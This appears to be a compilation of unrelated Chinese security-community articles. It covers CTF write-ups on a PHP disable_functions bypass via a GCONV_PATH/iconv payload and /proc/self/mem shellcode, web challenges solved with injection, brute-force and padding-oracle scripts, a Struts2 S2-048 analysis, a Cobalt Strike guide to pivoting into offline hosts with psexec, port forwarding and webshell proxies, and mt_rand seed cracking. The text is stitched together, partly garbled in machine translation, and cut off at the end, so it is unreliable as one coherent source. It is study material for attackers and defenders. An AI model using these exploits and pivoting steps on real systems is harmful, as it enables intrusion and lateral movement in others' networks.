供应商反馈：联系了Microsoft安全响应中心（MSRC），并为报告的问题总结了一个案例（编号46036）。
2018年6月21日，MSRC忽略了报告的漏洞漏洞，指出“此行为是设计使然……因为从系统安全的角度出发，如果没有完整的进程，则无法复制进程中的句柄。控制它，到那时还有许多其他攻击可能。”微软工程团队的反馈证实，应对此攻击并非易事，因为要完全解决该攻击，将需要重新设计Windows中句柄的访问控制机制。这也意味着像ShadowMove这样的技术将在可预见的将来继续帮助Windows上的攻击者。
## 0x06 Discussions and Future Work
ShadowMove的可能缓解方法。通过解决现有计算环境中的两个基本弱点，可以减轻ShadowMove的负担。一种想法是更好地将合法进程与潜在的攻击者进程隔离开，以防止套接字窃取。例如，可以将合法进程设置为Protected（在Vista中引入）或Protected
Process Light（在Windows
8.1中引入）进程，这样不受保护的进程就无法使用PROCESS_DUP_HANDLE打开合法进程。但是，这种方法有局限性，例如不能保护具有GUI的进程，并且程序文件必须由Microsoft签名。另一个想法是像SSL一样，在常见的企业计算协议中引入强大的源完整性机制。但是，这可能会破坏许多旧版应用程序。
当前ShadowMove原型的局限性：首先，它必须找到未加密的TCP通道，因为它是用户级别的攻击，无法在受害者进程内部获取机密。由于此限制，ShadowMove无法劫持对其有效负载应用了用户级加密的连接。劫持加密连接的一种已知方法是将代码注入受害者进程，该进程将能够访问纯文本消息。不幸的是，过程注入会使ShadowMove对现有的检测工具（例如Windows
Defender ATP）更可见。此外，加密的存在对于Shad
owMove可能并不总是一个障碍：有人提议在内核空间中实现加密服务（例如TLS），这将使TLS会话容易受到ShadowMove的攻击，因为发送了未加密的有效负载部署此类内核级服务的系统中的套接字接口接收或接收。其次，如果客户端首先使用缓冲区，则Shad
owmMove可能无法从接收缓冲区中获取shellID之类的信息。但是，攻击者可以简单地重试，并且只需成功一次即可实现横向移动。第三，在Linux上进行的ShadowMove设计将代码注入到目标进程的地址空间中，以劫持其控制流，与Windows相比，这危害了ShadowMove的隐蔽性。
通过套接字复制启用的其他攻击：机器内部应用程序（例如浏览器和后端密码管理器）之间的TCP通信并不完全安全。因此，本文的套接字复制技术可用于拦截和窃取此类应用程序中的敏感数据。此外，在本研究中，尝试主要利用客户端套接字（尽管利用了服务器端套接字来同步网络视图）。但是，可以使用相同的技术来利用服务器应用程序。例如，通过复制服务器应用程序使用的套接字，可以注入恶意数据以对客户端计算机发起网络钓鱼攻击。
## 0x07 Conclusion
本文提出了ShadowMove策略，该策略允许APT攻击者在企业网络内进行隐蔽横向移动。
ShadowMove以新颖的套接字复制技术为基础，利用了现有的良性网络连接，并且不需要任何提升的特权，新的连接，额外的身份验证或进程注入。因此，它能够逃避主机和网络级别防御机制的检测。为了确认方法的可行性，开发了ShadowMovefor
Windows和Linux OS的现代版本的原型，该原型成功利用了三个通用企业协议（即FTP，Microsoft
SQL和WinRM）进行横向移动，例如将恶意软件上传到下一个目标计算机，并在下一个目标计算机上开始执行恶意软件。
文章描述了ShadowMove中的技术挑战，例如如何生成适合现有网络连接环境的网络数据包。还通过实验确认原型实现无法被最新的防病毒产品、IDS（例如Snort）以及端点检测响应系统检测到。本研究为企业环境中的横向移动检测提高了标准，并呼吁采用创新的解决方案。 | 社区文章 |
## 前言
在刚结束的ByteCTF的中，@f1sh师傅出了一道bypass php
disable_functions的题目，预期解是通过web的方式，在有putenv的情况下，无需mail/imagemagick等组件，用一种新的方式实现bypass。
最终在和@Yan表哥讨论后，我们找到了题目的预期解法--iconv，这篇文章记录一下在解题过程中我们尝试过的各种思路，比如线上赛的exception类非预期、利用php
bugs中的一些uaf(向Kirin爷爷学习)、直接写/proc/self/mem、其他pwn/web的姿势。这里膜一下@Sndav师傅，通过一个pwn的洞实现php5-8通杀，降维打击非预期，orz
## 环境
题目环境是php7.2.24 ubuntu1804，disable_functions和disable_classes如下：
disable_functions =pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,ini_set,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
disable_classes =Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
## 预期解
### 原理
在对比题目的disable_functions和之前比赛的时，发现这里ban的iconv确实有点莫名其妙，于是就找到了[这篇文章](https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80)，但是这篇文章的姿势也是需要iconv的。那这里是否存在绕过呢？
首先来动态调一下php
iconv的流程，理解文章中姿势的原理。php的iconv本质上还是调用了glibc中的iconv，因此需要gdb调试一下glibc。这里直接装了[带符号的glibc](https://stackoverflow.com/questions/29955609/include-source-code-of-malloc-c-in-gdb)，然后LD_LIBRARY_PATH设置成带符号libc.so的地址，就可以开始调试了。
gdb php
gdb-peda$ set verbose on
gdb-peda$ dir /usr/lib/debug/lib/x86_64-linux-gnu/
Source directories searched: /usr/lib/debug/lib/x86_64-linux-gnu:$cdir:$cwd
gdb-peda$ b __gconv_read_conf
gdb-peda$ r /var/www/html/1.php
从php对iconv的调用开始看。为了防止和libc命名冲突，iconv.c用PHP_NAMED_FUNCTION将iconv注册为php_if_iconv，在iconv_functions中也能看到PHP_RAW_NAMED_FE创建的iconv到php_if_iconv的映射。
PHP_RAW_NAMED_FE(iconv, php_if_iconv, arginfo_iconv)
断在php_if_iconv看一下处理过程
跟进php_iconv_string，其中调用了iconv_open()，而iconv_open就是libc中的函数了。
这里直接断在__gconv_read_conf，看看调用栈：
继续单步，根据开头的文章，进入 **gconv_find_shlib然后调用**
libc_dlopen和__libc_dlsym，调用了so中的方法，从而rce
因此，除了iconv，其他调用了iconv_open()的函数也是可以触发rce的，比如iconv_strlen，php://filter中的convert.iconv等等。
这里payload能调用到payload.so是因为iconv除了系统提供的gconv模块外，还支持使用GCONV_PATH指定的自定义gconv模块目录下的模块。因此设置GCONV_PATH后，通过我们设置的gconv-modules，就可以在编码转换时如果遇到payload编码，就回去调用payload.so了。
但是这个漏洞最终的触发还是在glibc中，而我本地mac的libc并不是glibc，使用的iconv也是mac的libiconv，看了一下实现，mac环境并不能触发这个漏洞。
### 利用
gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
payload.c
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
puts("pwned");
system("touch /tmp/lfy");
exit(0);
}
1.php
<?php
putenv("GCONV_PATH=/tmp/");
// iconv_strlen("1","payload");
iconv("payload", "UTF-8", "whatever");
?>
然后`gcc payload.c -o payload.so -shared -fPIC`，再php 1.php即可。
**PS：**
推荐下AntSword的ant.so，LD_PRELOAD设置一下劫持system后，执行命令方便很多。
## 线上非预期(from CNSS)
在官方wp中写了：
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
此 exp 展示了两种调用 debug_backtrace() 的方法，一种是26行的直接调用，一种是24行调用 (new Exception)->getTrace() ，而题目把这两种方法都 disable 了。然而还有第三种方法可以调用，只要把24行改为 (new Error)->getTrace() 即可。
除此之外，我们还可以看到在线下赛题目的disable_functions和disable_classes中，多了很多很多Exception和Error类...这些类都是可以触发这个uaf的。比赛时还觉得出题人会不会ban漏一个，结果发现出题人直接从get_declared_classes()中选出来ban了（
## 探索过的失败的非预期
### LD_PRELOAD
先让我们回忆下通过LD_PRELOAD实现bypass的方式。
LD_PRELOAD设置一个在程序运行前优先加载的动态链接库，利用 **attribute** ((attribute-list))，可以通用的劫持php中新启动进程的函数，比如mail系列、Imagick等。但题目环境中这些都被ban了，imap模块也没开，因此都不能用。那么有没有其他的还没被发现的启动新进程的函数呢？
线上时我们通过get_defined_function拿到所有环境中的变量，然后参考[安全客这篇文章](https://www.anquanke.com/post/id/197745#h3-2)的fuzz方式，对这些函数进行了fuzz，结果并没有找到...
### 写/proc/self/mem
参考之前对[宝塔rsap绕过的文章](https://xz.aliyun.com/t/7990)，直接往/proc/self/mem写shellcode劫持got表，看起来也是可以的。
Kirin爷爷测试用php-cli也确实是可以覆盖的，exp如下：
<?php
function get_p64($magic){
$tmp="";
for($i=0;$i<8;$i++){
$n_tmp=($magic>>($i*8))&0xff;
$tmp.=chr($n_tmp);
}
return $tmp;
}
$leak_file = fopen('/proc/self/maps', 'r');
$base_str = fread($leak_file,12);
$pie_base= hexdec($base_str);
echo $pie_base;
$mem = fopen('/proc/self/mem', 'wb');
$shell = $pie_base + 0x0E6800;
fseek($mem, $shell);
$a="jgH\xb8/readflaPH\x89\xe71\xd21\xf6j;X\x0f\x05";
fwrite($mem, $a);
fseek($mem,$pie_base+0x0068FE68);
fwrite($mem,get_p64($shell));
readfile("123","r");
?>
然而测试apache的时候，发现没有权限。虽然/proc/self/mem是www-data的，权限也是600，但是php就是没权限获得句柄。。。
后来研究发现，apache是root运行的父进程，然后 setuid将子进程降权为www-data，/proc/self/目录属于root用户，因此子进程无权限读写。如果是nginx+php，对于低版本的php-fpm，www-data权限的子进程，/proc/self/目录属于www用户可以读写，[tsrc这篇文章](https://security.tencent.com/index.php/blog/msg/166)测试结果是php\<5.6版本是可以使用GOT表劫持。
写一下劫持GOT表的步骤，这里直接写shellcode：
1. 读/proc/self/maps找到php和libc在内存中的基址
2. 解析/proc/self/exe找到php文件中readfile@got的偏移
3. 找个能写的地址写shellcode
4. 向readfile@got写shellcode地址覆盖
5. 调用readfile
### PHP Bugs
之前的很多bypass是uaf等pwn下来的，就让Kirin爷爷帮忙调了几个7.2.24的uaf，发现都不行，有的只能leak，期待Sndav的姿势学习一下orz
## 总结
web狗有空还是得看点bin...
## 参考链接
https://bytectf.feishu.cn/docs/doccnqzpGCWH1hkDf5ljGdjOJYg?login_redirect_times=1#l1Qx86
https://xz.aliyun.com/t/7990
https://www.anquanke.com/post/id/197745
https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
https://security.tencent.com/index.php/blog/msg/166 | 社区文章 |
# 【漏洞分析】Struts2高危漏洞S2-048分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者： n1nty**
本次漏洞触发点在：
org.apache.struts2.s1.Struts1Action.execute() 方法中，如下图所示。
org.apache.struts2.s1.Struts1Action 类为一个 Wrapper 类，用于将 Struts1 时代的 Action 包装成为
Struts2 中的 Action，以让它们在 struts2 框架中继续工作。
在 Struts1Action 的 execute 方法中，会调用对应的 Struts1 Action 的 execute
方法（第一个红色箭头处）。在调用完后，会检查 request 中是否设置了 ActionMessage，如果是，则将会对 action messages
进行处理并回显给客户端。处理时使用了 getText 方法，这里就是漏洞的触发点。所以漏洞的触发条件是：在 struts1 action
中，将来自客户端的参数值设置到了 action message 中。
在官方提供的 Showcase 中，就存在漏洞，如下图：
getText 方法的主要作用就是实现网站语言的国际化，它会根据不同的 Locale 去对应的资源文件里面获取相关文字信息（这些文件信息一般保存在
.properties 文件中），这些文字信息往往会回显至客户端。
Action messages 会通过 getText 方法最终进入
com.opensymphony.xwork2.util.LocalizedTextUtil.getDefaultMessage(String,
Locale, ValueStack, Object[], String) 方法，如下：
此方法会将 action message 传入
com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String,
ValueStack)。com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String,
ValueStack) 方法主要用于扩展字符串中由 ${} 或 %{} 包裹的 OGNL 表达式，这里也就是 OGNL 的入口，随后 action
message 将进入 OGNL 的处理流程，漏洞被触发。
**关于 POC**
暂不公布
**总结**
该漏洞触发需要非默认插件 struts2-struts1-plugin
需要手动寻找程序中将客户端参数值添加入 action message 的点 | 社区文章 |
## Canadian FOI（50）
> The university has this Freedom Of Information Portal. You should check it
> out. To the portal
题目通过url <http://foi.uni.hctf.fun/docs/document_001.pdf>
访问300张pdf
批量获取脚本
from os.path import join
import requests
URL = "http://foi.uni.hctf.fun/docs/"
PATH = "~/"
i = 1
while(i < 300):
name = "document_%03d.pdf" % i
print("GETTING >>>> ", name)
url = join(URL, name)
r = requests.get(url, stream=True)
if (r.status_code == 200):
with open(join(PATH, name), 'wb') as f:
f.write(r.content)
else:
print("adios >>>> ", name)
i += 1
root@kali:~# pdfgrep -r "flag" ~/Downloads/PWN/documents/
~/document_255.pdf:Here it is: flag{F1rst_Gr4d3rs_4r1thm3t1c_1s_d4ng3r0us}
## Login Sec（100）
> The university's department of Secure Login Systems has just launched three
> prototypes of their research projects. Maybe you can have a look at all
> three of them:
[Login 1](http://login1.uni.hctf.fun/)
[Source](http://dl1.uni.hctf.fun/logins/passwd.js)
[Login 2](http://login2.uni.hctf.fun/)
[Source](dl1.uni.hctf.fun/logins/index.php)
[Login 3](http://login3.uni.hctf.fun/)
[Source](dl1.uni.hctf.fun/logins/app.py)
#### [Login 1 Source]
var http = require('http');
const crypto = require('crypto');
var url = require('url');
var fs = require('fs');
var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73"];
function generatePart1() {
return
{
x: crypto[_0x86d1[1]](8)
}[x].toString(_0x86d1[0]);
}
function generatePart2() {
return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]];
}
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
passwd = generatePart1() + generatePart2();
var url_content = url.parse(req.url, true);
if (passwd == url_content.query.passwd) {
res.write(fs.readFileSync('flag.txt', 'utf8'));
} else {
res.write('<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>');
}
res.end();
}).listen(8888);
> function generatePart2() {
return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+ []+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]];
}
< undefined
> generatePart2()
< "1337"
参考 [JavaScript自动分号补齐的坑](https://www.jianshu.com/p/e375f0fbb71c)
undefined1337传过去
flag{W0w_1_gu3ss_th1s
#### [Login 2 Source]
<?php
include("flag.php");
if (isset($_GET['passwd'])) {
if (hash("md5", $_GET['passwd']) == '0e514198428367523082236389979035') {
echo $flag;
}
} else {
echo '<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>';
}
?>
0e开头md5，随便找QNKCDZO。。。
_t0_be_4 _pr3tty_
#### [Login 3 Source]
from flask import Flask, request, send_from_directory
app = Flask(__name__)
passwd = open("/opt/passwd.txt").read()
flag = open("/opt/flag.txt").read()
@app.route('/')
def index():
userpw = request.args.get("passwd", "")
if userpw == passwd:
return flag, 200, {"Content-Type": "text/plain"}
else:
return '<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>'
if __name__ == '__main__':
assert(len(passwd) == 3)
assert(passwd.isdigit())
app.run()
三位数爆破出密码007
4_d4mn_l0ng_fl4g}
附脚本
#!/usr/bin/env python
import requests
import itertools
def main():
flag = login1() + login2() + login3()
print flag
def login1():
password = 'undefined1337'
r = requests.get('http://login1.uni.hctf.fun/', params={'passwd': password})
return r.text.strip()
def login2():
password = '240610708'
r = requests.get('http://login2.uni.hctf.fun/', params={'passwd': password})
return r.text.strip()
def login3():
for i in xrange(1000):
password = str(i)
password = '0' * (3 - len(password)) + password
r = requests.get('http://login3.uni.hctf.fun/', params={'passwd': password})
if not '<html>' in r.text:
return r.text.strip()
if __name__ == '__main__':
main()
flag：flag{W0w_1_gu3ss_th1s_t0_be_4_pr3tty_4_d4mn_l0ng_fl4g}
## H!pster Startup（200）
> Our on-campus start-up was hacked. The hacker somehow deleted the only admin
> user... Can you login to the admin interface and revert it?
源码发现admin登录后台
<!-- Main navigation -->
<ul class="main-nav nav navbar-nav navbar-right">
<li><a href="#home">Home</a></li>
<li><a href="#service">Services</a></li>
<!-- <li><a href="/admin">Admin-Panel</a></li> -->
</ul>
<!-- /Main navigation -->
发送'过去
user: '
Error in: 1: FOR u IN users FILTER u.user == ''' && u.passwd == '' RETURN u. ->AQL: syntax error, unexpected quoted string near ''' RETURN u' at position 1:52 (while parsing). Errors: {'error': True, 'errorMessage': "AQL: syntax error, unexpected quoted string near ''' RETURN u' at position 1:52 (while parsing)", 'code': 400, 'errorNum': 1501}
回显发现是ArangoDB 数据库注入
数据库查询语句是
FOR u IN users FILTER u.user == 'username' && u.passwd == 'password' RETURN u
构造payload查看用户名和密码
user: '|| 1 LIMIT 0,1 RETURN u //
The user's 'role' is not 'admin'!
发现回显此用户为非admin，通过limit读取第二个字段名和密码
user: '|| 1 LIMIT 1,1 RETURN u //
User/Password comination does not exist!
返回无用户名和密码，说明只存在一个用户，且此用户为非admin用户
user: '|| u.role RETURN u //
The user's 'role' is not 'admin'!
正常回显，发现存在role列名，猜测此用户的role列名为user（非admin）
user: '|| u.role=='user' RETURN u //
The user's 'role' is not 'admin'!
正常回显，尝试使用admin身份
user: ' || 1 RETURN {role:'admin'} //
result 0 is not a valid Document. Try setting rawResults to True. Errors: {}
根据回显错误信息查找发现，Arango数据库使用 [pyArango](https://github.com/tariqdaouda/pyArango)
进行驱动程序
[pyArango索引](https://github.com/tariqdaouda/pyArango/blob/master/pyArango/query.py)
查找发现源码存在这一段
try :
collection = self.database[docJson["_id"].split("/")[0]]
except KeyError :
raise CreationError("result %d is not a valid Document. Try setting rawResults to True" % i)
通过查找发现 _id 为不可变数值 [Documents, Identifiers,
Handles](https://docs.arangodb.com/2.8/Documents/)
{
"_id" : "myusers/3456789",
"_key" : "3456789",
"_rev" : "14253647",
"firstName" : "John",
"lastName" : "Doe",
"address" : {
"city" : "Gotham",
"street" : "Road To Nowhere 1"
}
}
//collection即为myusers
尝试发送 _id : users
user: ' || 1 RETURN {_id: 'users', role:'admin'} //
Nothing here. Meanwhile: flag{1_l0v3_a_g00d_1nj3ct10n}
出flag，也可通过 u._id 发送
user: ' || 1 RETURN {_id: u._id, role:'admin'} //
Nothing here. Meanwhile: flag{1_l0v3_a_g00d_1nj3ct10n}
## Converter（376）
> This nifty new tool lets you convert your thesis!
访问页面，有一个文件转换，随手测试一下，发现当你send过去的时候会有一个cookie
cookie: vals=a8e86232f4ebbce0c37f9ddc87f18bf2afc33f17e791c61a92edf9e783df008de8d7a3da3c5b8897559465c95e25253ad3cf23043d64416169db9c09ba341d384a701da53a26d69ca0dbe5de9b7f764b
稍微改变一下尾部
猜测这个cookie是采用cbc加密的
改变一下头部
这表明cookie包含AES-CBC加密的json数据
返回题目
可以看到，用了pandoc这个转换，主要参数如下
这里联想到，可以选择多种转换格式，猜测后台应该会使用如下命令
pandoc -f xxxx -t xxxx -o xxxx
然后，这里有一个参数
翻文档发现，这个参数可以重复用于包含多个文件。
现在的思路应该是想办法让后台执行命令的时候可以包含flag.txt文件，这里一直卡了很久，赛后看大佬wp，发现是把cookie的vals解密，然后修改一下，在进行加密。这里直接上脚本
模块:<https://github.com/pspaul/padding-oracle>
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
import requests
def oracle(cipher_hex):
headers = {'Cookie': 'vals={}'.format(cipher_hex)}
r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers)
response = r.content
if b'Invalid padding bytes.' not in response:
return True
else:
return False
o = PaddingOracle(oracle, max_retries=-1)
cipher = 'a8e86232f4ebbce0c37f9ddc87f18bf2afc33f17e791c61a92edf9e783df008de8d7a3da3c5b8897559465c95e25253ad3cf23043d64416169db9c09ba341d384a701da53a26d69ca0dbe5de9b7f764b'
plain, _ = o.decrypt(cipher, optimized_alphabet=json_alphabet())
print('Plaintext: {}'.format(plain))
解密得到
{"f": "markdown", "c": "AAAABBBBCCCCDDDD", "t": "html4"}
然后修改为
{"f": "markdown -A flag.txt", "c": "DDDD", "t": "html4"}
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
import requests
def oracle(cipher_hex):
headers = {'Cookie': 'vals={}'.format(cipher_hex)}
r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers)
response = r.content
if b'Invalid padding bytes.' not in response:
return True
else:
return False
o = PaddingOracle(oracle, max_retries=-1)
cipher = 'a8e86232f4ebbce0c37f9ddc87f18bf2afc33f17e791c61a92edf9e783df008de8d7a3da3c5b8897559465c95e25253ad3cf23043d64416169db9c09ba341d384a701da53a26d69ca0dbe5de9b7f764b'
plain = b'{"f": "markdown", "c": "AAAABBBBCCCCDDDD", "t": "html4"}'
plain_new = b'{"f": "markdown -A flag.txt", "c": "DDDD", "t": "html4"}'
cipher_new = o.craft(cipher, plain, plain_new)
print('Modified: {}'.format(cipher_new))
解密之后更换cookie，即可得到flag
flag{https://www.youtube.com/watch?v=71DdxJF8rmg#W00t_W00t} | 社区文章 |
# 不出网主机上线方法
## 测试环境
假设192.168.111.0/24为公网ip段，192.168.204.0/24为内网ip段
### web服务器 Windows 2008 r2
DMZ主机 虚拟机两块网卡一块设置为NAT模式，一块设置为HOSTONLY模式，可通外网
公网ip:192.168.111.132
内网ip:192.168.204.188
### 内网主机 Windows 2012
虚拟机网卡设置HOSTONLY模式，不通外网
内网ip:192.168.204.141
### C2： Kali Linux
公网ip：192.168.111.129
## 1.SMB beacon
SMB
Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB
beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon，抓取密码后进行smb喷射，得到另一台开放445端口的机器上的administrator账户密码，在目标机器不出网的情况下，可以使用Smb
beacon使目标主机上线
#### 使用条件
1.具有 SMB Beacon 的主机必须接受 445 端口上的连接。
2.只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
3.利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
#### 使用方法
web服务器上线cs，run mimikatz抓取密码
建立listener，选择SMB beacon
在cs中使用psexec进行横向移动，选择现有的beacon作为跳板，这里凭据必须是administrator ，即拥有目标主机管理员权限
连接成功，可以看到smb beacon上线的主机右侧有∞∞标识
## 2.配置listener通过HTTP代理上线
### 使用goproxy搭建代理
[goproxy](https://github.com/snail007/goproxy/releases)
上传proxy.exe到web服务器，在8080端口开启http代理
shell C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
用netsh命令把外网ip的8080端口转发到内网ip的192.168.204.188的822端口(必须为未使用的端口，否则会失败),web服务器的80端口被占用，不能使用
shell netsh interface portproxy add v4tov4 listenaddress=192.168.204.188 listenport=822 connectaddress=192.168.111.132 connectport=8080
检测端口是否启用
netstat -ano | findstr :822
### 创建listener
设置如下
### 生成stageless payload
关于stage 和 stageless的区别：
[探寻Metasploit
Payload模式背后的秘密](https://www.freebuf.com/articles/system/187312.html)
stager分阶段，第一阶段申请内存，第二件阶段向C2发起请求并接受shellcode执行
stageless不分阶段，生成时就包含了所有文件，可以避免shellcode传输不畅造成目标无法上线
[
成功上线
[
连接过程
`192.168.204.141` → `192.168.204.188:822`→ `192.168.111.132:8080`→ `C2`
## 3.使用pystinger搭建socks4代理
[pystinger](https://github.com/FunnyWolf/pystinger)
#### 原理
来源:[红队攻防实践：不出网主机搭建内网隧道新思路](https://mp.weixin.qq.com/s/45AKbRS677fxynKW6Qfz7w)
服务端由webshell和stinger_server.exe构成，webshell只负责进行流量转发，大部分建立连接及处理数据的工作由stinger_server.exe实现，本质就是搭建了一个SOCK4代理转发流量
[
#### 使用方法
上传proxy.php到网站目录，正常访问返回`UTF-8`
上传stinger_server.exe，执行
start stinger_server.exe 0.0.0.0
Kali上执行
./stinger_client -w http://192.168.111.132:81/proxy.php -l 127.0.0.1 -p 60000
[
cs中新建listener，192.168.204.188为web服务器内网ip，60020为转发端口
[
使用psexec横向移动，选择listener为stinger，成功上线
## 参考：
[Cobalt Strike Listener with Proxy
](http://blog.leanote.com/post/snowming/2ec80f7823e0)
[红队攻防实践：不出网主机搭建内网隧道新思路](https://mp.weixin.qq.com/s/45AKbRS677fxynKW6Qfz7w)
[dns与smb
beacon详解与一种内网穿透方法的实践](https://blog.csdn.net/qq_41874930/article/details/107840269)
[内网渗透：不出网渗透技巧](https://www.freebuf.com/articles/web/247287.html)<https://www.freebuf.com/articles/web/247287.html>) | 社区文章 |
## 前言
前段时间挖了不少跟mt_rand()相关的安全漏洞，基本上都是错误理解随机数用法导致的。这里又要提一下php官网manual的一个坑,看下关于mt_rand()的介绍:中文版1
英文版2，可以看到英文版多了一块黄色的 **Caution** 警告
> This function does not generate cryptographically secure values, and should
> not be used for cryptographic purposes. If you need a cryptographically
> secure value, consider using random_int(), random_bytes(), or
> openssl_random_pseudo_bytes() instead.
很多国内开发者估计都是看的中文版的介绍而在程序中使用了mt_rand()来生成安全令牌、核心加解密key等等导致严重的安全问题。
## 伪随机数
mt_rand()并不是一个 **真·随机数**
生成函数,实际上绝大多数编程语言中的随机数函数生成的都都是伪随机数。关于真随机数和伪随机数的区别这里不展开解释，只需要简单了解一点
>
> 伪随机是由可确定的函数（常用线性同余），通过一个种子（常用时钟），产生的伪随机数。这意味着：如果知道了种子，或者已经产生的随机数，都可能获得接下来随机数序列的信息（可预测性）。
简单假设一下 mt_rand()内部生成随机数的函数为:`rand =
seed+(i*10)`其中`seed`是随机数种子，`i`是第几次调用这个随机数函数。当我们同时知道`i`和`rand`两个值的时候，就能很容易的算出seed的值来。比如
**rand=21** , **i=2** 代入函数 `21=seed+(2*10)`得到 **seed=1**
。是不是很简单，当我们拿到seed之后，就能计算出当`i`为任意值时候的`rand`的值了。
## php的自动播种
从上一节我们已经知道每一次mt_rand()被调用都会根据seed和当前调用的次数i来计算出一个伪随机数。而且seed是自动播种的：
> Note: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ，因为现在是由系统自动完成的。
那么问题就来了，到底系统自动完成播种是在什么时候，如果每次调用mt_rand()都会自动播种那么破解seed也就没意义了。关于这一点manual并没有给出详细信息。网上找了一圈也没靠谱的答案
只能去翻源码3了：
PHPAPI void php_mt_srand(uint32_t seed)
{
/* Seed the generator with a simple uint32 */
php_mt_initialize(seed, BG(state));
php_mt_reload();
/* Seed only once */
BG(mt_rand_is_seeded) = 1;
}
/* }}} */
/* {{{ php_mt_rand
*/
PHPAPI uint32_t php_mt_rand(void)
{
/* Pull a 32-bit integer from the generator state
Every other access function simply transforms the numbers extracted here */
register uint32_t s1;
if (UNEXPECTED(!BG(mt_rand_is_seeded))) {
php_mt_srand(GENERATE_SEED());
}
if (BG(left) == 0) {
php_mt_reload();
}
--BG(left);
s1 = *BG(next)++;
s1 ^= (s1 >> 11);
s1 ^= (s1 << 7) & 0x9d2c5680U;
s1 ^= (s1 << 15) & 0xefc60000U;
return ( s1 ^ (s1 >> 18) );
}
可以看到每次调用mt_rand()都会先检查是否已经播种。如果已经播种就直接产生随机数，否则调用php_mt_srand来播种。也就是说每个php
cgi进程期间，只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数。而php的几种运行模式中除了CGI(每个请求启动一个cgi进程，请求结束后关闭。每次都要重新读取php.ini
环境变量等导致效率低下，现在用的应该不多了)以外，基本都是一个进程处理完请求之后standby等待下一个，处理多个请求之后才会回收（超时也会回收）。
写个脚本测试一下
<?php
//pid.php
echo getmypid();
<?php
//test.php
$old_pid = file_get_contents('http://localhost/pid.php');
$i=1;
while(true){
$i++;
$pid = file_get_contents('http://localhost/pid.php');
if($pid!=$old_pid){
echo $i;
break;
}
}
测试结果：（windows+phpstudy）
> apache 1000请求
> nginx 500请求
当然这个测试仅仅确认了apache和nginx一个进程可以处理的请求数，再来验证一下刚才关于自动播种的结论：
<?php
//pid1.php
if(isset($_GET['rand'])){
echo mt_rand();
}else{
echo getmypid();
}
<?php
//pid2.php
echo mt_rand();
<?php
//test.php
$old_pid = file_get_contents('http://localhost/pid1.php');
echo "old_pid:{$old_pid}\r\n";
while(true){
$pid = file_get_contents('http://localhost/pid1.php');
if($pid!=$old_pid){
echo "new_pid:{$pid}\r\n";
for($i=0;$i<20;$i++){
$random = mt_rand(1,2);
echo file_get_contents("http://localhost/pid".$random.".php?rand=1")." ";
}
break;
}
}
通过pid来判断,当新进程开始的时候，随机获取两个页面其中一个的 **mt_rand()** 的输出:
> old_pid:972
> new_pid:7752
> 1513334371 2014450250 1319669412 499559587 117728762 1465174656 1671827592
> 1703046841 464496438 1974338231 46646067 981271768 1070717272 571887250
> 922467166 606646473 134605134 857256637 1971727275 2104203195
拿第一个随机数 **1513334371** 去爆破种子：
> smldhz@vm:~/php_mt_seed-3.2$ ./php_mt_seed 1513334371
> Found 0, trying 704643072 - 738197503, speed 28562751 seeds per second
> seed = 735487048
> Found 1, trying 1308622848 - 1342177279, speed 28824291 seeds per second
> seed = 1337331453
> Found 2, trying 3254779904 - 3288334335, speed 28811010 seeds per second
> seed = 3283082581
> Found 3, trying 4261412864 - 4294967295, speed 28677071 seeds per second
> Found 3
